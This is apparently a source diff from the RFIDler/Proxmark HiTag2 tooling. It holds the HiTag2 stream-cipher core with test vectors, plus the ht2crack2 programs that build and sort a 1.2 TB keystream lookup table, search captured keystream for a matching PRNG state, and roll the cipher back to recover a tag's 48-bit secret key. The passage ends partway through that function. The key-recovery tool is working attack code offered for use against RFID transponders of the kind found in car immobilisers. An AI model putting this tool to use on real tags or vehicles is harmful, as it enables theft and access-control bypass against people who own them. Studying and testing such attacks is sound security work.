state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state ^= (uint64_t) hitag2_crypt(state) << 47;
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
pstate->shiftreg = state;
/* naive version for reference, LFSR has 16 taps
pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
*/
{
// optimise with one 64-bit intermediate
uint64_t temp = state ^ (state >> 1);
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}
}
/*
* Return up to 32 crypto bits.
* Last bit is in least significant bit, earlier bits are shifted left.
* Note that the Hitag transmission protocol is least significant bit,
* so we may want to change this, or add a function, that returns the
* crypto output bits in the other order.
*
* Parameters:
* Hitag_State* pstate - in/out, internal cipher state after initialisation
* uint32_t steps - number of bits requested, (capped at 32)
*/
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
{
uint64_t state = pstate->shiftreg;
uint32_t result = 0;
uint64_t lfsr = pstate->lfsr;
if (steps == 0)
return 0;
// commented out the restriction on number of steps so we can step further in one go.
// this still only returns 32 bits obviously
// if (steps > 32)
// steps = 32;
do {
// update shift registers
if (lfsr & 1) {
state = (state >> 1) | 0x800000000000;
lfsr = (lfsr >> 1) ^ 0xB38083220073;
// accumulate next bit of crypto
result = (result << 1) | hitag2_crypt(state);
} else {
state >>= 1;
lfsr >>= 1;
result = (result << 1) | hitag2_crypt(state);
}
} while (--steps);
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
pstate->shiftreg = state;
pstate->lfsr = lfsr;
return result;
}
// end of crypto core, revert to default optimization level
//#pragma GCC reset_options
/* Test code
Test data and below information about it comes from
http://www.mikrocontroller.net/attachment/102194/hitag2.c
Written by "I.C. Wiener 2006-2007"
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
Random = 65 6E 45 72 - Random IV, transmitted in clear
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
The inverse of the first 4 bytes is sent to the tag to authenticate.
The rest is encrypted by XORing it with the subsequent keystream.
*/
/*
unsigned int hitag2_benchtest_gen32()
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
// init crypto
hitag2_init(&state, key, serial, initvec);
// benchmark: generation of 32 bit stream (excludes initialisation)
GetTimer_us(RESET);
(void) hitag2_nstep(&state, 32);
return GetTimer_us(NO_RESET);
}
unsigned int hitag2_benchtest(uint32_t count)
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
uint32_t i;
// start timer
GetTimer_us(RESET);
// benchmark: initialise crypto & generate 32 bit authentication
// adding i stops gcc optimizer moving init function call out of loop
for (i = 0; i < count; i++) {
hitag2_init(&state, key, serial, initvec + i);
(void) hitag2_nstep(&state, 32);
}
return GetTimer_us(NO_RESET);
}
unsigned hitag2_verifytest()
{
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
// key = 0x4ad292b272f2 after each byte has its bit order reversed
// serial = 0x96eac292 ditto
// initvec = 0x4ea276a6 ditto
const uint64_t key = rev64 (0x524B494D4E4FUL);
const uint32_t serial = rev32 (0x69574349);
const uint32_t initvec = rev32 (0x72456E65);
uint32_t i;
Hitag_State state;
// initialise
hitag2_init(&state, key, serial, initvec);
for (i = 0; i < 16; i++) {
// get 8 bits of keystream
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
uint8_t y = expected[i];
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
if (x != y)
return 0;
}
return 1;
}
*/
#ifdef UNIT_TEST
int main(int argc, char* argv[])
{
unsigned pass = hitag2_verifytest();
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
if (pass) {
hitag2_benchtest(10000);
}
return 0;
}
#endif // UNIT_TEST

View file

@ -0,0 +1,171 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
#ifndef HITAGCRYPTO_H
#define HITAGCRYPTO_H
#include <stdint.h>
/*
Our model of Hitag 2 crypto uses 2 parallel shift registers:
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
b. 48 bit Linear Feedback Shift Register (LFSR).
A transform of initial register (a) value, which is then run in parallel.
Enables much faster calculation of the feedback values.
API:
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
uint32_t initvector);
Initialise state from 48 bit shared (secret) reader/tag key,
32 bit tag serial number and 32 bit initialisation vector from reader.
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
update shift register state and generate N cipher bits (N should be <= 32)
*/
typedef struct {
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
uint64_t lfsr; // fast lfsr, used to make software faster
} Hitag_State;
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
unsigned int hitag2_benchtest_gen32();
unsigned int hitag2_benchtest(uint32_t count);
unsigned hitag2_verifytest();
#endif /* HITAGCRYPTO_H */

View file

@ -0,0 +1,561 @@
/*
* ht2crack2buildtable.c
* This builds the 1.2TB table and sorts it.
*/
#include "ht2crack2utils.h"
// DATAMAX is the size of each bucket (bytes). There are 65536 buckets so choose a value such that
// DATAMAX * 65536 < RAM available. For ex, if you want to use 12GB of RAM (for a 16GB machine
// leaving some RAM free for OS and other stuff), DATAMAX = 12GB / 65536 = 196608. Round this down
// to a power of 10; DATAMAX = 196600.
#define DATAMAX 196600 // around 192K rounded down to a power of 10
// NUM_BUILD_THREADS and NUM_SORT_THREADS are the number of threads to run concurrently. These should
// ideally be equal to the number of virtual cores you have available. A quad-core machine will
// likely have 8 virtual cores, so set them to 8.
//
// If sorting fails with a 'bus error' then that is likely because your disk I/O can't keep up with
// the read/write demands of the multi-threaded sorting. In this case, reduce the number of sorting
// threads. This will most likely only be a problem with network disks; SATA should be okay;
// USB2/3 should keep up.
//
// These MUST be a power of 2 for the maths to work - you have been warned!
// Also, sort threads MUST be <= build threads or a horrible buffer overflow will happen!
#define NUM_BUILD_THREADS 8
#define NUM_SORT_THREADS 8
// DATASIZE is the number of bytes in an entry. This is 10; 4 bytes of keystream (2 are in the filepath) +
// 6 bytes of PRNG state.
#define DATASIZE 10
int debug = 0;
// table entry for a bucket
struct table {
char path[32];
pthread_mutex_t mutex;
unsigned char *data;
unsigned char *ptr;
};
// actual table
struct table *t;
// jump table 1
uint64_t d[48];
int nsteps;
// jump table 2
uint64_t d2[48];
int nsteps2;
// create table entry
void create_table(struct table *t, int d1, int d2)
{
if (!t) {
printf("create_table: t is NULL\n");
exit(1);
}
// create some space
t->data = (unsigned char *)malloc(DATAMAX);
if (!(t->data)) {
printf("create_table: cannot malloc data\n");
exit(1);
}
// set data ptr to start of data table
t->ptr = t->data;
// init the mutex
if (pthread_mutex_init(&(t->mutex), NULL)) {
printf("create_table: cannot init mutex\n");
exit(1);
}
// create the path
// sprintf(t->path, "/Volumes/2tb/%02X/%02X.bin", d1 & 0xff, d2 & 0xff);
sprintf(t->path, "table/%02x/%02x.bin", d1 & 0xff, d2 & 0xff);
}
// create all table entries
void create_tables(struct table *t)
{
int i, j;
if (!t) {
printf("create_tables: t is NULL\n");
exit(1);
}
for (i=0; i<0x100; i++) {
for (j=0; j<0x100; j++) {
create_table(t + ((i * 0x100) + j), i, j);
}
}
}
// free the table memory
void free_tables(struct table *t)
{
int i;
struct table *ttmp;
if (!t) {
printf("free_tables: t is NULL\n");
exit(1);
}
for (i=0; i<0x10000; i++) {
ttmp = t + i;
free(ttmp->data);
}
}
// write (partial) table to file
void writetable(struct table *t1)
{
int fd;
if (debug) printf("writetable %s\n", t1->path);
fd = open(t1->path, O_WRONLY | O_CREAT | O_APPEND, 0644);
if (fd <= 0) {
printf("writetable cannot open file %s for appending\n", t1->path);
exit(1);
}
if (debug) printf("writetable %s opened\n", t1->path);
if (write(fd, t1->data, t1->ptr - t1->data) < (t1->ptr - t1->data)) {
printf("writetable cannot write all of the data\n");
exit(1);
}
if (debug) printf("writetable %s written\n", t1->path);
close(fd);
}
// store value in table
void store(unsigned char *data)
{
unsigned char d1, d2;
int offset;
struct table *t1;
// use the first two bytes as an index
d1 = data[0];
d2 = data[1];
offset = (d1 * 0x100) + d2;
if (debug) printf("store, d1=%02X, d2=%02X, offset = %d\n", d1, d2, offset);
// get pointer to table entry
t1 = t + offset;
// wait for a lock on this entry
if (pthread_mutex_lock(&(t1->mutex))) {
printf("store: cannot lock mutex at offset %d\n", offset);
exit(1);
}
if (debug) printf("store, offset = %d, got lock\n", offset);
// store the entry
memcpy(t1->ptr, data+2, 10);
if (debug) printf("store, offset = %d, copied data\n", offset);
// update the ptr
t1->ptr += 10;
// check if table is full
if ((t1->ptr - t1->data) >= DATAMAX) {
// write the table to disk
writetable(t1);
// reset ptr
t1->ptr = t1->data;
}
if (debug) printf("store, offset = %d, after possible write\n", offset);
// release the lock
if (pthread_mutex_unlock(&(t1->mutex))) {
printf("store: cannot unlock mutex at offset %d\n", offset);
exit(1);
}
if (debug) printf("store, offset = %d, unlocked\n", offset);
}
// writes the ks (keystream) and s (state)
void write_ks_s(uint32_t ks1, uint32_t ks2, uint64_t shiftreg)
{
unsigned char buf[16];
// create buffer
writebuf(buf, ks1, 3);
writebuf(buf+3, ks2, 3);
writebuf(buf+6, shiftreg, 6);
// store buffer
store(buf);
}
// builds the di table for jumping
void builddi(int steps, int table)
{
uint64_t statemask;
int i;
Hitag_State mystate;
uint64_t *thisd = NULL;
statemask = 1;
// select jump table
if (table == 1) {
nsteps = steps;
thisd = d;
} else if (table == 2) {
nsteps2 = steps;
thisd = d2;
} else {
printf("builddi: invalid table num\n");
exit(1);
}
// build di states
for (i=0; i<48; i++) {
mystate.shiftreg = statemask;
buildlfsr(&mystate);
hitag2_nstep(&mystate, steps);
thisd[i] = mystate.shiftreg;
statemask = statemask << 1;
}
}
// jump function - quickly jumps a load of steps
void jumpnsteps(Hitag_State *hstate, int table)
{
uint64_t output = 0;
uint64_t bitmask;
int i;
uint64_t *thisd = NULL;
// select jump table
if (table == 1) {
thisd = d;
} else if (table == 2) {
thisd = d2;
} else {
printf("jumpnsteps: invalid table num\n");
exit(1);
}
// xor all di.si where di is a d state and si is a bit
// we do this by multiplying di by si:
// if si is 1, di.si = di; if si is 0, di.si = 0
bitmask = 1;
for (i=0; i<48; i++) {
if (hstate->shiftreg & bitmask) {
output = output ^ thisd[i];
}
bitmask = bitmask << 1;
}
hstate->shiftreg = output;
buildlfsr(hstate);
}
// thread to build a part of the table
void *buildtable(void *d)
{
Hitag_State hstate;
Hitag_State hstate2;
unsigned long i;
unsigned long maxentries = 1;
uint32_t ks1;
uint32_t ks2;
int index = (int)(long)d;
int tnum = NUM_BUILD_THREADS;
/* set random state */
hstate.shiftreg = 0x123456789abc;
buildlfsr(&hstate);
/* jump to offset using jump table 2 (2048) */
for (i=0; i<index; i++) {
jumpnsteps(&hstate, 2);
}
/* set max entries - this is a fraction of 2^37 depending on how many threads we are running.
1 thread = 2^37
2 threads = 2^36
4 threads = 2^35
8 threads = 2^34
etc
*/
maxentries = maxentries << 37;
while (!(tnum & 0x1)) {
maxentries = maxentries >> 1;
tnum = tnum >> 1;
}
/* make the entries */
for (i=0; i<maxentries; i++) {
// copy the current state
hstate2.shiftreg = hstate.shiftreg;
hstate2.lfsr = hstate.lfsr;
// get 48 bits of keystream from hstate2
// this is split into 2 x 24 bit
ks1 = hitag2_nstep(&hstate2, 24);
ks2 = hitag2_nstep(&hstate2, 24);
write_ks_s(ks1, ks2, hstate.shiftreg);
// jump hstate forward 2048 * NUM_BUILD_THREADS states using di table
// this is because we're running NUM_BUILD_THREADS threads at once, from NUM_BUILD_THREADS
// different offsets that are 2048 states apart.
jumpnsteps(&hstate, 1);
}
return NULL;
}
// make 'table/' (unsorted) and 'sorted/' dir structures
void makedirs()
{
char path[32];
int i;
if (mkdir("table", 0755)) {
printf("cannot make dir table\n");
exit(1);
}
if (mkdir("sorted", 0755)) {
printf("cannot make dir sorted\n");
exit(1);
}
for (i=0; i<0x100; i++) {
sprintf(path, "table/%02x", i);
if (mkdir(path, 0755)) {
printf("cannot make dir %s\n", path);
exit(1);
}
sprintf(path, "sorted/%02x", i);
if (mkdir(path, 0755)) {
printf("cannot make dir %s\n", path);
exit(1);
}
}
}
static int datacmp(const void *p1, const void *p2, void *dummy)
{
unsigned char *d1 = (unsigned char *)p1;
unsigned char *d2 = (unsigned char *)p2;
return memcmp(d1, d2, DATASIZE);
}
void *sorttable(void *d)
{
int i, j;
int fdin;
int fdout;
char infile[64];
char outfile[64];
unsigned char *data = NULL;
struct stat filestat;
unsigned char *table = NULL;
uint64_t numentries = 0;
int index = (int)(long)d;
int space = 0x100 / NUM_SORT_THREADS;
// create table - 50MB should be enough
table = (unsigned char *)malloc(50UL * 1024UL * 1024UL);
if (!table) {
printf("sorttable: cannot malloc table\n");
exit(1);
}
// loop over our first byte values
for (i=(index * space); i<((index + 1) * space); i++) {
// loop over all second byte values
for (j=0; j<0x100; j++) {
printf("sorttable: processing bytes 0x%02x/0x%02x\n", i, j);
// open file, stat it and mmap it
sprintf(infile, "table/%02x/%02x.bin", i, j);
fdin = open(infile, O_RDONLY);
if (fdin <= 0) {
printf("cannot open file %s\n", infile);
exit(1);
}
if (fstat(fdin, &filestat)) {
printf("cannot stat file %s\n", infile);
exit(1);
}
data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fdin, 0);
if (data == MAP_FAILED) {
printf("cannot mmap file %s\n", infile);
exit(1);
}
// copy data into table
memcpy(table, data, filestat.st_size);
numentries = filestat.st_size / DATASIZE;
// unmap file and close it
if (munmap(data, filestat.st_size)) {
printf("cannot munmap %s\n", infile);
exit(1);
}
close(fdin);
// sort it
qsort_r(table, numentries, DATASIZE, datacmp, NULL);
// write to file
sprintf(outfile, "sorted/%02x/%02x.bin", i, j);
fdout = open(outfile, O_WRONLY | O_CREAT, 0644);
if (fdout <= 0) {
printf("cannot create outfile %s\n", outfile);
exit(1);
}
write(fdout, table, numentries * DATASIZE);
close(fdout);
// remove input file
if (unlink(infile)) {
printf("cannot remove file %s\n", infile);
exit(1);
}
}
}
return NULL;
}
int main(int argc, char *argv[])
{
pthread_t threads[NUM_BUILD_THREADS];
void *status;
long i;
int ret;
struct table *t1;
// make the table of tables
t = (struct table *)malloc(sizeof(struct table) * 65536);
if (!t) {
printf("malloc failed\n");
exit(1);
}
// init the table
create_tables(t);
// create the directories
makedirs();
// build the jump table for incremental steps
builddi(2048 * NUM_BUILD_THREADS, 1);
// build the jump table for setting the offset
builddi(2048, 2);
// start the threads
for (i=0; i<NUM_BUILD_THREADS; i++) {
ret = pthread_create(&(threads[i]), NULL, buildtable, (void *)(i));
if (ret) {
printf("cannot start buildtable thread %ld\n", i);
exit(1);
}
}
if (debug) printf("main, started buildtable threads\n");
// wait for threads to finish
for (i=0; i<NUM_BUILD_THREADS; i++) {
ret = pthread_join(threads[i], &status);
if (ret) {
printf("cannot join buildtable thread %ld\n", i);
exit(1);
}
printf("buildtable thread %ld finished\n", i);
}
// write all remaining files
for (i=0; i<0x10000; i++) {
t1 = t + i;
if (t1->ptr > t1->data) {
writetable(t1);
}
}
// dump the memory
free_tables(t);
free(t);
// now for the sorting
// start the threads
for (i=0; i<NUM_SORT_THREADS; i++) {
ret = pthread_create(&(threads[i]), NULL, sorttable, (void *)(i));
if (ret) {
printf("cannot start sorttable thread %ld\n", i);
exit(1);
}
}
if (debug) printf("main, started sorttable threads\n");
// wait for threads to finish
for (i=0; i<NUM_SORT_THREADS; i++) {
ret = pthread_join(threads[i], &status);
if (ret) {
printf("cannot join sorttable thread %ld\n", i);
exit(1);
}
printf("sorttable thread %ld finished\n", i);
}
pthread_exit(NULL);
return 0;
}

View file

@ -0,0 +1,98 @@
/*
* ht2crack2gentests.c
* this uses the RFIDler hitag2 PRNG code to generate test cases to test the tables
*/
#include "ht2crack2utils.h"
int makerandom(char *hex, unsigned int len, int fd)
{
unsigned char raw[32];
int i;
if (!hex) {
printf("makerandom: hex is NULL\n");
exit(1);
}
if (!len || (len > 32)) {
printf("makerandom: len must be between 1 and 32 inclusive\n");
exit(1);
}
if (read(fd, raw, len) != len) {
printf("makerandom: cannot read random bytes\n");
exit(1);
}
for (i=0; i<len; i++) {
sprintf(hex + (2 * i), "%02X", raw[i]);
}
return 1;
}
int main(int argc, char *argv[])
{
Hitag_State hstate;
char key[32];
char uid[32];
char nR[32];
char filename[256];
int i, j;
int numtests;
int urandomfd;
FILE *fp;
if (argc < 2) {
printf("ht2crack2gentest number\n");
exit(1);
}
numtests = atoi(argv[1]);
if (numtests <= 0) {
printf("need positive number of tests\n");
exit(1);
}
urandomfd = open("/dev/urandom", O_RDONLY);
if (urandomfd <= 0) {
printf("cannot open /dev/urandom\n");
exit(1);
}
for (i=0; i<numtests; i++) {
makerandom(key, 6, urandomfd);
makerandom(uid, 4, urandomfd);
makerandom(nR, 4, urandomfd);
sprintf(filename, "keystream.key-%s.uid-%s.nR-%s", key, uid, nR);
fp = fopen(filename, "w");
if (!fp) {
printf("cannot open file '%s' for writing\n", filename);
exit(1);
}
hstate.shiftreg = 0;
hstate.lfsr = 0;
hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nR)));
hitag2_nstep(&hstate, 64);
for (j=0; j<64; j++) {
fprintf(fp, "%08X\n", hitag2_nstep(&hstate, 32));
}
fclose(fp);
}
return 0;
}

View file

@ -0,0 +1,433 @@
/*
* ht2crack2search.c
* this searches the sorted tables for the given RNG data, retrieves the matching
* PRNG state, checks it is correct, and then rolls back the PRNG to recover the key
*/
#include "ht2crack2utils.h"
#define INPUTFILE "sorted/%02x/%02x.bin"
#define DATASIZE 10
struct rngdata {
unsigned char *data;
int len;
};
static int datacmp(const void *p1, const void *p2)
{
unsigned char *d1 = (unsigned char *)p1;
unsigned char *d2 = (unsigned char *)p2;
return memcmp(d1, d2, DATASIZE - 6);
}
int loadrngdata(struct rngdata *r, char *file)
{
int fd;
int i, j;
int nibble;
struct stat filestat;
unsigned char *data;
if (!r || !file) {
printf("loadrngdata: invalid params\n");
return 0;
}
fd = open(file, O_RDONLY);
if (fd <= 0) {
printf("cannot open file %s\n", file);
exit(1);
}
if (fstat(fd, &filestat)) {
printf("cannot stat file %s\n", file);
exit(1);
}
if (filestat.st_size < 6) {
printf("file %s is too small\n", file);
exit(1);
}
data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (data == MAP_FAILED) {
printf("cannot mmap file %s\n", file);
exit(1);
}
r->len = filestat.st_size / 2;
// printf("r->len = %d\n", r->len);
r->data = (unsigned char *)malloc(r->len);
if (!(r->data)) {
printf("cannot malloc\n");
exit(1);
}
j = 0;
nibble = 0;
for (i=0; (i<filestat.st_size) && (j < r->len); i++) {
if ((data[i] != 0x0a) && (data[i] != 0x0d) && (data[i] != 0x20)) {
if (!nibble) {
r->data[j] = hex2bin(data[i]) << 4;
nibble = 1;
} else {
r->data[j] |= hex2bin(data[i]);
nibble = 0;
j++;
}
}
}
r->len = j;
munmap(data, filestat.st_size);
close(fd);
return 1;
}
int makecand(unsigned char *c, struct rngdata *r, int bitoffset)
{
int bytenum;
int bitnum;
int i;
if (!c || !r || (bitoffset > ((r->len * 8) - 48))) {
printf("makecand: invalid params\n");
return 0;
}
bytenum = bitoffset / 8;
bitnum = bitoffset % 8;
for (i=0; i<6; i++) {
if (!bitnum) {
c[i] = r->data[bytenum + i];
} else {
c[i] = (r->data[bytenum + i] << bitnum) | (r->data[bytenum + i + 1] >> (8 - bitnum));
}
}
return 1;
}
// test the candidate against the next or previous rng data
int testcand(unsigned char *f, unsigned char *rt, int fwd)
{
Hitag_State hstate;
int i;
uint32_t ks1;
uint32_t ks2;
unsigned char buf[6];
// build the prng state at the candidate
hstate.shiftreg = 0;
for (i=0; i<6; i++) {
hstate.shiftreg = (hstate.shiftreg << 8) | f[i+4];
}
buildlfsr(&hstate);
if (fwd) {
// roll forwards 48 bits
hitag2_nstep(&hstate, 48);
} else {
// roll backwards 48 bits
rollback(&hstate, 48);
buildlfsr(&hstate);
}
// get 48 bits of RNG from the rolled to state
ks1 = hitag2_nstep(&hstate, 24);
ks2 = hitag2_nstep(&hstate, 24);
writebuf(buf, ks1, 3);
writebuf(buf+3, ks2, 3);
// compare them
if (!memcmp(buf, rt, 6)) {
return 1;
} else {
return 0;
}
}
int searchcand(unsigned char *c, unsigned char *rt, int fwd, unsigned char *m, unsigned char *s)
{
int fd;
struct stat filestat;
char file[64];
unsigned char *data;
unsigned char item[10];
unsigned char *found = NULL;
if (!c || !rt || !m || !s) {
printf("searchcand: invalid params\n");
return 0;
}
sprintf(file, INPUTFILE, c[0], c[1]);
fd = open(file, O_RDONLY);
if (fd <= 0) {
printf("cannot open table file %s\n", file);
exit(1);
}
if (fstat(fd, &filestat)) {
printf("cannot stat file %s\n", file);
exit(1);
}
data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (data == MAP_FAILED) {
printf("cannot mmap file %s\n", file);
exit(1);
}
memcpy(item, c+2, 4);
found = (unsigned char *)bsearch(item, data, filestat.st_size / DATASIZE, DATASIZE, datacmp);
if (found) {
// our candidate is in the table
// go backwards and see if there are other matches
while (((found - data) >= DATASIZE) && (!memcmp(found - DATASIZE, item, 4))) {
found = found - DATASIZE;
}
// now test all matches
while (((found - data) <= (filestat.st_size - DATASIZE)) && (!memcmp(found, item, 4))) {
if (testcand(found, rt, fwd)) {
memcpy(m, c, 2);
memcpy(m+2, found, 4);
memcpy(s, found+4, 6);
munmap(data, filestat.st_size);
close(fd);
return 1;
}
found = found + DATASIZE;
}
}
munmap(data, filestat.st_size);
close(fd);
return 0;
}
int findmatch(struct rngdata *r, unsigned char *outmatch, unsigned char *outstate, int *bitoffset)
{
int i;
int bitlen;
unsigned char cand[6];
unsigned char rngtest[6];
int fwd;
if (!r || !outmatch || !outstate || !bitoffset) {
printf("findmatch: invalid params\n");
return 0;
}
bitlen = r->len * 8;
for (i=0; i<=bitlen - 48; i++) {
// print progress
if ((i % 100) == 0) {
printf("searching on bit %d\n", i);
}
if (!makecand(cand, r, i)) {
printf("cannot makecand, %d\n", i);
return 0;
}
// printf("cand: %02x %02x %02x %02x %02x %02x : ", cand[0], cand[1], cand[2], cand[3], cand[4], cand[5]);
// printbin(cand);
/* make following or preceding RNG test data to confirm match */
if (i < (bitlen - 96)) {
if (!makecand(rngtest, r, i + 48)) {
printf("cannot makecand rngtest %d + 48\n", i);
return 0;
}
fwd = 1;
} else {
if (!makecand(rngtest, r, i - 48)) {
printf("cannot makecand rngtest %d - 48\n", i);
return 0;
}
fwd = 0;
}
if (searchcand(cand, rngtest, fwd, outmatch, outstate)) {
*bitoffset = i;
return 1;
}
}
return 0;
}
void rollbackrng(Hitag_State *hstate, unsigned char *s, int offset)
{
int i;
if (!s) {
printf("rollbackrng: invalid params\n");
return;
}
// build prng at recovered offset
hstate->shiftreg = 0;
for (i=0; i<6; i++) {
hstate->shiftreg = (hstate->shiftreg << 8) | s[i];
}
printf("recovered prng state at offset %d:\n", offset);
printstate(hstate);
// rollback to state after auth
rollback(hstate, offset);
// rollback through auth (aR, p3)
rollback(hstate, 64);
printf("prng state after initialisation:\n");
printstate(hstate);
}
uint64_t recoverkey(Hitag_State *hstate, char *uidstr, char *nRstr)
{
uint64_t key;
uint64_t keyupper;
uint32_t uid;
uint32_t uidtmp;
uint32_t nRenc;
uint32_t nR;
uint32_t nRxork;
uint32_t b = 0;
int i;
// key lower 16 bits are lower 16 bits of prng state
key = hstate->shiftreg & 0xffff;
nRxork = (hstate->shiftreg >> 16) & 0xffffffff;
uid = rev32(hexreversetoulong(uidstr));
nRenc = rev32(hexreversetoulong(nRstr));
uidtmp = uid;
// rollback and extract bits b
for (i=0; i<32; i++) {
hstate->shiftreg = ((hstate->shiftreg) << 1) | ((uidtmp >> 31) & 0x1);
uidtmp = uidtmp << 1;
b = (b << 1) | fnf(hstate->shiftreg);
}
printf("end state:\n");
printstate(hstate);
